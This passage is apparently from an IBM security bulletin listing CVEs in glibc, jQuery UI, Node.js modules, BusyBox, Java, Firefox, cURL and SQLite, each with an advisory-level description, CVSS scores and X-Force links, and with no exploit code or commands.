https://exchange.xforce.ibmcloud.com/vulnerabilities/114024](<https://exchange.xforce.ibmcloud.com/vulnerabilities/114024>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L) \n \n** CVEID: **[CVE-2015-8983](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-8983>) \n** DESCRIPTION: **glibc is vulnerable to a heap-based buffer overflow, caused by an integer overflow in the _IO_wstr_overflow function in libio/wstrops.c. A remote attacker could exploit the vulnerability to cause the application to crash or execute arbitrary code in the system. \nCVSS Base score: 7.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/126596](<https://exchange.xforce.ibmcloud.com/vulnerabilities/126596>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L) \n \n** CVEID: **[CVE-2015-8982](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-8982>) \n** DESCRIPTION: **glibc is vulnerable to a stack-based buffer overflow, caused by an integer overflow, caused by an integer overflow in the strxfrm function function. By sending a specially crafted string, a remote attacker could exploit the vulnerability to cause the application to crash or execute arbitrary code in the system. \nCVSS Base score: 7.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/126597](<https://exchange.xforce.ibmcloud.com/vulnerabilities/126597>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L) \n \n** CVEID: **[CVE-2021-28957](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-28957>) \n** DESCRIPTION: **lxml is vulnerable to cross-site scripting, caused by improper validation of user-supplied input by the defs.py script. A remote attacker could exploit this vulnerability using the HTML action attribute to inject malicious script into a Web page which would be executed in a victim\u2019s Web browser within the security context of the hosting Web site, once the page is viewed. An attacker could use this vulnerability to steal the victim\u2019s cookie-based authentication credentials. \nCVSS Base score: 7.2 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/198515](<https://exchange.xforce.ibmcloud.com/vulnerabilities/198515>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N) \n \n** CVEID: **[CVE-2021-41182](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-41182>) \n** DESCRIPTION: **jQuery jQuery-UI is vulnerable to cross-site scripting, caused by improper validation of user-supplied input by the Datepicker widget. A remote attacker could exploit this vulnerability using the altField parameter to inject malicious script into a Web page which would be executed in a victim's Web browser within the security context of the hosting Web site, once the page is viewed. An attacker could use this vulnerability to steal the victim's cookie-based authentication credentials. \nCVSS Base score: 7.2 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/212274](<https://exchange.xforce.ibmcloud.com/vulnerabilities/212274>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N) \n \n** CVEID: **[CVE-2021-41183](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-41183>) \n** DESCRIPTION: **jQuery jQuery-UI is vulnerable to cross-site scripting, caused by improper validation of user-supplied input by the Datepicker widget. A remote attacker could exploit this vulnerability using the Text parameter to inject malicious script into a Web page which would be executed in a victim's Web browser within the security context of the hosting Web site, once the page is viewed. An attacker could use this vulnerability to steal the victim's cookie-based authentication credentials. \nCVSS Base score: 7.2 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/212276](<https://exchange.xforce.ibmcloud.com/vulnerabilities/212276>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N) \n \n** CVEID: **[CVE-2021-41184](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-41184>) \n** DESCRIPTION: **jQuery jQuery-UI is vulnerable to cross-site scripting, caused by improper validation of user-supplied input by the .position() function. A remote attacker could exploit this vulnerability using the of parameter to inject malicious script into a Web page which would be executed in a victim's Web browser within the security context of the hosting Web site, once the page is viewed. An attacker could use this vulnerability to steal the victim's cookie-based authentication credentials. \nCVSS Base score: 7.2 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/212277](<https://exchange.xforce.ibmcloud.com/vulnerabilities/212277>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N) \n \n** CVEID: **[CVE-2020-7774](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-7774>) \n** DESCRIPTION: **Node.js y18n module could allow a remote attacker to execute arbitrary code on the system, caused by a prototype pollution flaw. By sending a specially-crafted request, an attacker could exploit this vulnerability to execute arbitrary code on the system. \nCVSS Base score: 7.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/191999](<https://exchange.xforce.ibmcloud.com/vulnerabilities/191999>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L) \n \n** CVEID: **[CVE-2021-23440](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-23440>) \n** DESCRIPTION: **Nodejs set-value module could allow a remote attacker to execute arbitrary code on the system, caused by a prototype pollution flaw. By adding or modifying properties of Object.prototype using a __proto__ or constructor payload, an attacker could exploit this vulnerability to execute arbitrary code on the system. \nCVSS Base score: 7.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/209431](<https://exchange.xforce.ibmcloud.com/vulnerabilities/209431>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L) \n \n** CVEID: **[CVE-2021-22940](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-22940>) \n** DESCRIPTION: **Node.js could allow a remote attacker to bypass security restrictions, caused by an incomplete fix for CVE-2021-22930 related to a use-after-free on close http2 on stream canceling. An attacker could exploit this vulnerability to corrupt memory to change process behavior. \nCVSS Base score: 7.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/207520](<https://exchange.xforce.ibmcloud.com/vulnerabilities/207520>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N) \n \n** CVEID: **[CVE-2016-10540](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-10540>) \n** DESCRIPTION: **Node.js minimatch module is vulnerable to a denial of service, caused by a flaw in the minimatch function. By using a specially-crafted value, a remote attacker could exploit this vulnerability to cause a regular expression denial of service. \nCVSS Base score: 7.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/149140](<https://exchange.xforce.ibmcloud.com/vulnerabilities/149140>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) \n \n** CVEID: **[CVE-2020-7768](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-7768>) \n** DESCRIPTION: **Node.js grpc module is vulnerable to a denial of service, caused by a prototype pollution flaw by the loadPackageDefinition function. By sending a specially-crafted request, a remote attacker could exploit this vulnerability to cause a denial of service condition. \nCVSS Base score: 7.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/191645](<https://exchange.xforce.ibmcloud.com/vulnerabilities/191645>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) \n \n** CVEID: **[CVE-2021-22930](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-22930>) \n** DESCRIPTION: **Node.js could allow a remote attacker to bypass security restrictions, caused by a use-after-free on close http2 on stream canceling. An attacker could exploit this vulnerability to corrupt memory to change process behavior. \nCVSS Base score: 7.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/206473](<https://exchange.xforce.ibmcloud.com/vulnerabilities/206473>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N) \n \n** CVEID: **[CVE-2021-28092](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-28092>) \n** DESCRIPTION: **Node.js is-svg module is vulnerable to a denial of service, caused by a regular expression denial of service (ReDoS) flaw. By sending a specially-crafted regex string, a remote attacker could exploit this vulnerability to cause a denial of service condition. \nCVSS Base score: 7.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/198145](<https://exchange.xforce.ibmcloud.com/vulnerabilities/198145>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) \n \n** CVEID: **[CVE-2021-29425](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-29425>) \n** DESCRIPTION: **Apache Commons IO could allow a remote attacker to traverse directories on the system, caused by improper input validation by the FileNameUtils.normalize method. An attacker could send a specially-crafted URL request containing \"dot dot\" sequences (/../) to view arbitrary files on the system. \nCVSS Base score: 7.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/199852](<https://exchange.xforce.ibmcloud.com/vulnerabilities/199852>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N) \n \n** CVEID: **[CVE-2021-32838](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-32838>) \n** DESCRIPTION: **lask-RESTX is vulnerable to a denial of service, caused by a regular expression flaw in email_regex. By sending a specially-crafted request, a remote attacker could exploit this vulnerability to cause a regular expression denial of service. \nCVSS Base score: 7.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/209812](<https://exchange.xforce.ibmcloud.com/vulnerabilities/209812>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) \n \n** CVEID: **[CVE-2021-37714](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-37714>) \n** DESCRIPTION: **jsoup is vulnerable to a denial of service, caused by improper input validation. By sending a specially-crafted input, a remote attacker could exploit this vulnerability to cause the HTML and XML parser to get stuck, timeout, or throw unchecked exceptions resulting in a denial of service condition. \nCVSS Base score: 7.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/207858](<https://exchange.xforce.ibmcloud.com/vulnerabilities/207858>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) \n \n** CVEID: **[CVE-2021-3795](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-3795>) \n** DESCRIPTION: **semver-regex is vulnerable to a denial of service, caused by the inefficient regular expression complexity. A remote attacker could exploit this vulnerability to cause a denial of service. \nCVSS Base score: 7.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/209463](<https://exchange.xforce.ibmcloud.com/vulnerabilities/209463>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) \n \n** CVEID: **[CVE-2008-3103](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3103>) \n** DESCRIPTION: **The Java Management Extensions (JMX) management agent included in the Sun Java Runtime Environment (JRE) could allow a remote attacker to bypass security restrictions, caused by an unspecified error. If local monitoring is enabled, a JMX client could exploit this vulnerability and perform unauthorized actions on a system running JMX. \nCVSS Base score: 6.8 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/43669](<https://exchange.xforce.ibmcloud.com/vulnerabilities/43669>) for the current score. \nCVSS Vector: (AV:N/AC:M/Au:N/C:P/I:P/A:P) \n \n** CVEID: **[CVE-2008-3109](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3109>) \n** DESCRIPTION: **Sun Java Runtime Environment (JRE) could allow a remote attacker to gain unauthorized access to the system, caused by an error related to scripting language support. By persuading a victim to download an untrusted applet or application, a remote attacker could read and write local files or execute local applications that are accessible to the victim. \nCVSS Base score: 6.8 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/43660](<https://exchange.xforce.ibmcloud.com/vulnerabilities/43660>) for the current score. \nCVSS Vector: (AV:N/AC:M/Au:N/C:P/I:P/A:P) \n \n** CVEID: **[CVE-2008-5347](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5347>) \n** DESCRIPTION: **Sun Java Runtime Environment (JRE) could allow untrusted applets and applications to gain elevated privileges on the system, caused by multiple unspecified vulnerabilities regarding the JAX-WS and JAXB packages. \nCVSS Base score: 6.8 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/47068](<https://exchange.xforce.ibmcloud.com/vulnerabilities/47068>) for the current score. \nCVSS Vector: (AV:N/AC:M/Au:N/C:P/I:P/A:P) \n \n** CVEID: **[CVE-2021-35567](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-35567>) \n** DESCRIPTION: **An unspecified vulnerability in Java SE related to the Libraries component could allow an authenticated attacker to obtain sensitive information resulting in a high confidentiality impact using unknown attack vectors. \nCVSS Base score: 6.8 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/211643](<https://exchange.xforce.ibmcloud.com/vulnerabilities/211643>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:N/A:N) \n \n** CVEID: **[CVE-2015-4041](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-4041>) \n** DESCRIPTION: **coreutils is vulnerable to a heap-based buffer overflow, caused by improper bounds checking by the src/sort.c. By persuading a victim to run a specially-crafted file, a remote attacker could overflow a buffer and execute arbitrary code on the system. \nCVSS Base score: 6.8 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/103307](<https://exchange.xforce.ibmcloud.com/vulnerabilities/103307>) for the current score. \nCVSS Vector: (AV:N/AC:M/Au:N/C:P/I:P/A:P) \n \n** CVEID: **[CVE-2021-42378](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-42378>) \n** DESCRIPTION: **BusyBox could allow a remote authenticated attacker to execute arbitrary code on the system, caused by a use-after-free in awk applet when processing a specially crafted awk pattern in the getvar_i function. An attacker could exploit this vulnerability to execute arbitrary code on the system or cause a denial of service. \nCVSS Base score: 6.6 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/213531](<https://exchange.xforce.ibmcloud.com/vulnerabilities/213531>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H) \n \n** CVEID: **[CVE-2021-42379](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-42379>) \n** DESCRIPTION: **BusyBox could allow a remote authenticated attacker to execute arbitrary code on the system, caused by a use-after-free in awk applet when processing a specially crafted awk pattern iin the next_input_file function. An attacker could exploit this vulnerability to execute arbitrary code on the system or cause a denial of service. \nCVSS Base score: 6.6 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/213532](<https://exchange.xforce.ibmcloud.com/vulnerabilities/213532>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H) \n \n** CVEID: **[CVE-2021-42380](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-42380>) \n** DESCRIPTION: **BusyBox could allow a remote authenticated attacker to execute arbitrary code on the system, caused by a use-after-free in awk applet when processing a specially crafted awk pattern iin the clrvar function. An attacker could exploit this vulnerability to execute arbitrary code on the system or cause a denial of service. \nCVSS Base score: 6.6 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/213533](<https://exchange.xforce.ibmcloud.com/vulnerabilities/213533>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H) \n \n** CVEID: **[CVE-2021-42381](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-42381>) \n** DESCRIPTION: **BusyBox could allow a remote authenticated attacker to execute arbitrary code on the system, caused by a use-after-free in awk applet when processing a specially crafted awk pattern iin the hash_init function. An attacker could exploit this vulnerability to execute arbitrary code on the system or cause a denial of service. \nCVSS Base score: 6.6 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/213534](<https://exchange.xforce.ibmcloud.com/vulnerabilities/213534>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H) \n \n** CVEID: **[CVE-2021-42382](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-42382>) \n** DESCRIPTION: **BusyBox could allow a remote authenticated attacker to execute arbitrary code on the system, caused by a use-after-free in awk applet when processing a specially crafted awk pattern iin the getvar_s function. An attacker could exploit this vulnerability to execute arbitrary code on the system or cause a denial of service. \nCVSS Base score: 6.6 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/213535](<https://exchange.xforce.ibmcloud.com/vulnerabilities/213535>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H) \n \n** CVEID: **[CVE-2021-42383](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-42383>) \n** DESCRIPTION: **BusyBox could allow a remote authenticated attacker to execute arbitrary code on the system, caused by a use-after-free in awk applet when processing a specially crafted awk pattern iin the evaluate function. An attacker could exploit this vulnerability to execute arbitrary code on the system or cause a denial of service. \nCVSS Base score: 6.6 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/213536](<https://exchange.xforce.ibmcloud.com/vulnerabilities/213536>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H) \n \n** CVEID: **[CVE-2021-42384](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-42384>) \n** DESCRIPTION: **BusyBox could allow a remote authenticated attacker to execute arbitrary code on the system, caused by a use-after-free in awk applet when processing a specially crafted awk pattern iin the handle_special function. An attacker could exploit this vulnerability to execute arbitrary code on the system or cause a denial of service. \nCVSS Base score: 6.6 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/213537](<https://exchange.xforce.ibmcloud.com/vulnerabilities/213537>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H) \n \n** CVEID: **[CVE-2021-42385](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-42385>) \n** DESCRIPTION: **BusyBox could allow a remote authenticated attacker to execute arbitrary code on the system, caused by a use-after-free in awk applet when processing a specially crafted awk pattern iin the evaluate function. An attacker could exploit this vulnerability to execute arbitrary code on the system or cause a denial of service. \nCVSS Base score: 6.6 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/213538](<https://exchange.xforce.ibmcloud.com/vulnerabilities/213538>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H) \n \n** CVEID: **[CVE-2021-42386](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-42386>) \n** DESCRIPTION: **BusyBox could allow a remote authenticated attacker to execute arbitrary code on the system, caused by a use-after-free in awk applet when processing a specially crafted awk pattern iin the nvalloc function. An attacker could exploit this vulnerability to execute arbitrary code on the system or cause a denial of service. \nCVSS Base score: 6.6 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/213539](<https://exchange.xforce.ibmcloud.com/vulnerabilities/213539>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H) \n \n** CVEID: **[CVE-2021-1799](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-1799>) \n** DESCRIPTION: **Apple macOS could allow a remote attacker to bypass security restrictions, caused by a port redirection issue in the WebRTC component. By persuading a victim to visit a specially crafted Web site, an attacker could exploit this vulnerability to gain access to restricted ports on arbitrary servers. \nCVSS Base score: 6.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/195887](<https://exchange.xforce.ibmcloud.com/vulnerabilities/195887>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N) \n \n** CVEID: **[CVE-2021-1801](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-1801>) \n** DESCRIPTION: **Apple macOS could allow a remote attacker to bypass security restrictions, caused by a logic issue in the WebKit component. By persuading a victim to visit a specially crafted Web site, an attacker could exploit this vulnerability to violate iframe sandboxing policy. \nCVSS Base score: 6.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/195886](<https://exchange.xforce.ibmcloud.com/vulnerabilities/195886>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N) \n \n** CVEID: **[CVE-2021-22925](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-22925>) \n** DESCRIPTION: **cURL libcurl could allow a remote attacker to obtain sensitive information, caused by a flaw in the option parser for sending NEW_ENV variables. By sniffing the network traffic, an attacker could exploit this vulnerability to obtain TELNET stack contents, and use this information to launch further attacks against the affected system. \nCVSS Base score: 6.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/206051](<https://exchange.xforce.ibmcloud.com/vulnerabilities/206051>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N) \n \n** CVEID: **[CVE-2017-7781](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-7781>) \n** DESCRIPTION: **Mozilla Firefox could allow a remote attacker to bypass security restrictions, caused by an elliptic curve point addition error when using mixed Jacobian-affine coordinates. By persuading a victim to visit a specially-crafted Web site, a remote attacker could exploit this vulnerability using man-in-the-middle techniques to compute an incorrect shared secret. \nCVSS Base score: 6.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/130176](<https://exchange.xforce.ibmcloud.com/vulnerabilities/130176>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N) \n \n** CVEID: **[CVE-2018-18508](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-18508>) \n** DESCRIPTION: **Mozilla Network Security Services (NSS), as used in Mozilla Firefox, is vulnerable to a denial of service, caused by a NULL pointer dereference in several CMS functions. By sending specially crafted data, a remote attacker could exploit this vulnerability to cause the server to crash. \nCVSS Base score: 6.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/160205](<https://exchange.xforce.ibmcloud.com/vulnerabilities/160205>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H) \n \n** CVEID: **[CVE-2016-9074](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-9074>) \n** DESCRIPTION: **Mozilla Network Security Services (NSS), as used in Mozilla Firefox, could provide weaker than expected security, caused by an insufficient mitigation of timing side-channel attacks. An attacker could exploit this vulnerability to gain launch further attacks on the system. \nCVSS Base score: 6.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/118942](<https://exchange.xforce.ibmcloud.com/vulnerabilities/118942>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N) \n \n** CVEID: **[CVE-2020-12399](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-12399>) \n** DESCRIPTION: **Mozilla Firefox could allow a remote attacker to obtain sensitive information, caused by a timing timing attack when performing DSA signatures. By persuading a victim to visit a specially-crafted Web site, a remote attacker could exploit this vulnerability to leak private keys and obtain sensitive information. \nCVSS Base score: 6.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/182800](<https://exchange.xforce.ibmcloud.com/vulnerabilities/182800>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N) \n \n** CVEID: **[CVE-2015-8382](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-8382>) \n** DESCRIPTION: **PCRE could allow a remote attacker to obtain sensitive information, caused by the mishandling of the pattern and related patterns involving (*ACCEPT) by the match function. An attacker could exploit this vulnerability using a specially crafted regular expression to obtain sensitive information or cause a denial of service. \nCVSS Base score: 6.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/108465](<https://exchange.xforce.ibmcloud.com/vulnerabilities/108465>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L) \n \n** CVEID: **[CVE-2021-37750](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-37750>) \n** DESCRIPTION: **MIT Kerberos 5 (aka krb5) is vulnerable to a denial of service, caused by a NULL pointer dereference flaw in kdc/do_tgs_req.c in the Key Distribution Center (KDC). By sending a specially-crafted FAST TGS request with no server field, a remote authenticated attacker could exploit this vulnerability to cause a denial of service condition. \nCVSS Base score: 6.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/208020](<https://exchange.xforce.ibmcloud.com/vulnerabilities/208020>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H) \n \n** CVEID: **[CVE-2021-42374](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-42374>) \n** DESCRIPTION: **BusyBox is vulnerable to a denial of service, caused by an out-of-bounds heap read in lzma/unlzma applet when specially crafted LZMA-compressed input is decompressed. A remote attacker could exploit this vulnerability to cause a denial of service or obtain sensitive information. \nCVSS Base score: 6.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/213527](<https://exchange.xforce.ibmcloud.com/vulnerabilities/213527>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:H) \n \n** CVEID: **[CVE-2021-22923](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-22923>) \n** DESCRIPTION: **cURL libcurl could allow a remote attacker to obtain sensitive information, caused by improper protection to user credentials by the metalink feature. By persuading a victim to connect a specially-crafted server, an attacker could exploit this vulnerability to obtain user credentials, and use this information to launch further attacks against the affected system. \nCVSS Base score: 6.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/206046](<https://exchange.xforce.ibmcloud.com/vulnerabilities/206046>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N) \n \n** CVEID: **[CVE-2021-3445](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-3445>) \n** DESCRIPTION: **libdnf could allow a remote authenticated attacker to execute arbitrary code on the system, caused by a flaw in signature verification functionality. By placing a signature in the main header, an attacker could exploit this vulnerability to execute arbitrary code on the system. \nCVSS Base score: 6.4 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/203146](<https://exchange.xforce.ibmcloud.com/vulnerabilities/203146>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:H/PR:H/UI:R/S:U/C:H/I:H/A:H) \n \n** CVEID: **[CVE-2019-5827](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-5827>) \n** DESCRIPTION: **Google Chrome could allow a remote attacker to execute arbitrary code on the system, caused by an out-of-bounds access in SQLite. By persuading a victim to visit a specially-crafted Web site, a remote attacker could exploit this vulnerability to execute arbitrary code on the system or cause a denial of service. \nCVSS Base score: 6.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/160450](<https://exchange.xforce.ibmcloud.com/vulnerabilities/160450>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L) \n \n** CVEID: **[CVE-2017-7000](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-7000>) \n** DESCRIPTION: **Google Chrome could allow a remote attacker to obtain sensitive information, caused by a pointer disclosure in SQLite. By persuading a victim to visit a specially-crafted Web site, a remote attacker could exploit this vulnerability to obtain sensitive information. \nCVSS Base score: 6.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/129419](<https://exchange.xforce.ibmcloud.com/vulnerabilities/129419>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L) \n \n** CVEID: **[CVE-2015-7036](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-7036>) \n** DESCRIPTION: **SQLite could allow a remote attacker to execute arbitrary 